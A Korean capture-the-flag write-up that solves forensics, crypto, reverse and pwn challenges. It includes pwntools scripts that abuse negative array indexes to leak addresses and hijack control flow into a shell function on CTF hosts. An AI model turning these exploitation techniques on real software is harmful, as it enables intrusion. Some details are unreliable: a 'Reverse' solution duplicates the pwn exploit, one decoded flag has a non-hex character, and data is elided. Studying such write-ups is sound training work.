2024년 넹딩컵 해커톤 문제 분석

MISC

  1. YSKM 압축 파일을 해제하면 .pcap 형식의 트래픽 데이터가 포함되어 있다. 전체 흐름을 살펴보면 두 개의 TCP 세션이 존재하며, 모두 FTP 프로토콜 기반으로 동작한다. 해당 세션을 직접 추적하여 로그인 후 디렉터리 생성 과정을 확인할 수 있다.

디렉터리 이름에 관련된 데이터를 추출한 후, 연속적으로 문자열을 결합하여 디코딩 시도. 초기에는 디코딩 실패 발생. 비교 분석 결과, 첫 두 글자가 번호 정보일 가능성이 높아 보이며, 마지막 한 글자만 사용해 재조합 후 성공적으로 디코드.

최종 플래그: DASCTF{Y0u\_Sh0u1d\_KNOW\_M3}

  1. 와 해적왕 압축 파일을 해제하면 두 개의 압축파일과 하나의 이미지 파일이 생성된다. 이미지를 열어보면 파일 끝부분에 이상한 데이터가 존재함. 이는 압축 해제 비밀번호일 가능성 있음.

기존 인코딩된 문자열을 디코딩하면:

MV9DUkNfSVNfMl9GVU5OWV82NjYjCg==
→ 1_CRC_IS_2_FUNNY_666#

해당 비밀번호로 flag1.zip을 해제하면 flag.zip 파일이 얻어짐. 힌트에 따라 CRC 폭력 공격을 수행하여 키를 추출하고, 이를 통해 flag2.zip을 복호화. 복호화된 이미지 조각들을 조합하면 최종 플래그가 나타남.

결과:

REFTQ1RGezkxY2VkZjl2N2Q5ODI4MTA5YzkwZjIyZWMwMTViYWJlfQ==
→ DASCTF{91cedf9v7d9828109c90f22ec015babe}

Crypto

  1. EdRSA 주어진 코드는 타원곡선 기반의 비선형 변환을 사용하는 고급 암호화 알고리즘이다. 다음은 SageMath 환경에서 실행 가능한 코드:
from Crypto.Util.number import *
from secrets import flag

def add(P, Q):
    (x1, y1) = P
    (x2, y2) = Q
    x3 = (x1*y2 + y1*x2) * inverse(1 + d*x1*x2*y1*y2, p) % p
    y3 = (y1*y2 - a*x1*x2) * inverse(1 - d*x1*x2*y1*y2, p) % p
    return (x3, y3)

def mul(x, P):
    Q = (0, 1)
    while x > 0:
        if x & 1:
            Q = add(Q, P)
        P = add(P, P)
        x >>= 1
    return Q

p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
gx = bytes_to_long(flag)
PR.<y> = PolynomialRing(Zmod(p))
f = (d*gx^2 - 1)*y^2 + (1 - a*gx^2)
gy = int(f.roots()[0][0])

assert (a*gx^2 + gy^2) % p == (1 + d*gx^2*gy^2) % p

G = (gx, gy)
e = 0x10001
print("eG =", mul(e, G))

출력값:

eG = (602246821311345089174443402780402388933602410138142480089649941718527311147, 17625197557740535449294773567986004828160284887369041337984750097736030549853)

이 값을 바탕으로 원본 플래그를 복구해야 하며, 이는 타원곡선 상의 스칼라 곱 역산 문제로 해결 가능.

  1. BabyLCG LCG(선형 동여 생성기)는 다음 공식에 따라 임의의 수열을 생성: $$ X_{n+1} = (a \cdot X_n + b) \mod m $$

주어진 데이터:

  • gift = [699...1007, 189...434, 448...280]
  • modulus = 1045...9753

알고리즘 특성상, 이후 값들로부터 a, b, m을 추정할 수 있음. 특히 m이 알려져 있으므로, 반대로 역산하여 초기 상태(seed)를 복원할 수 있음.

핵심 공식:

  • $ X_n = a^{-1} \cdot (X_{n+1} - b) \mod m $
  • $ a = ((X_{n+2} - X_{n+1}) \cdot (X_{n+1} - X_n)^{-1}) \mod m $
  • $ b = (X_{n+1} - a \cdot X_n) \mod m $

위 공식을 활용해 8번 역방향 계산을 수행하여 초기 값 획득. 획득한 숫자를 바이트로 변환 후, Base64/32/16로 각각 디코딩 시도.

결과:

Format: b32, Decoded Data: b'DASCTF{e906dca275f9815e1599e4f8e3d8b9bf}'

Reverse

  1. rrrrs 문제는 실제 실행 파일을 분석하고, 특정 조건을 만족하도록 코드를 수정하거나 동작을 유도하는 방식으로 해결. 취약점은 배열 인덱스 오버플로우와 함수 포인터 덮어쓰기. 목표는 리턴 주소를 후킹하여 컨트롤을 넘기는 것. 실제 구현에서는 맞춤형 패치를 통해 정상적인 실행 흐름을 우회하고, 특수 함수를 호출.

exploit 예시

from pwn import *

context.arch = 'amd64'

p = process("./pwn")
# p = remote('node4.anna.nssctf.cn', 28658)

p.sendline(b'1')
p.sendline(b'-1')
p.recvuntil(b'accounts[-1] = ')
elf_base = int(p.recv(20, drop=True), 16) - 210 - 0x1327 - 0x2d
shell_addr = elf_base + 0x1315

p.sendline(b'2')
p.sendline(b'-0x8000000000000000 + 7')  # 적절한 오프셋
p.sendline(str(shell_addr).encode())
p.sendline(b'3')

p.interactive()

PWN

  1. arrary_index_bank 동일한 문제 구조를 가진 2023년 양청컵 결승 문제와 유사. 배열 접근 시 인덱스 범위 초과 발생. 특히 음수 인덱스로 접근 시 스택 내부의 함수 반환 주소에 접근 가능.

해결 전략:

  • -7 위치에 있는 반환 주소를 후킹.
  • 직접 후킹보다는 push 명령어 이후의 위치로 설정하여 메모리 정렬 유지.
  • 해당 주소를 스택에 삽입하여 함수 제어권 획득.

exploit 코드

from pwn import *

context.arch = 'amd64'
io = remote('node4.anna.nssctf.cn', 28063)

io.sendline(b'1')
io.sendline(b'-1')
io.recvuntil(b'= ')
addr = int(io.recvuntil(b'\n', drop=True), 10)
base = addr - 0x1327
back = base + 0x1318

io.sendline(b'1')
io.sendline(b'-2')
io.recvuntil(b'= ')
addr = int(io.recvuntil(b'\n', drop=True), 10)
rsp = addr - 0x30
you = base + 0x4010
offset = (you - rsp) // 8

io.sendline(b'2')
io.sendline(str(offset).encode())
io.sendline(b'1000')

io.sendline(b'2')
io.sendline(b'7')
io.sendline(str(back).encode())

io.interactive()

태그: PCAP FTP LCG Elliptic Curve SageMath

6월 28일 17:31에 게시됨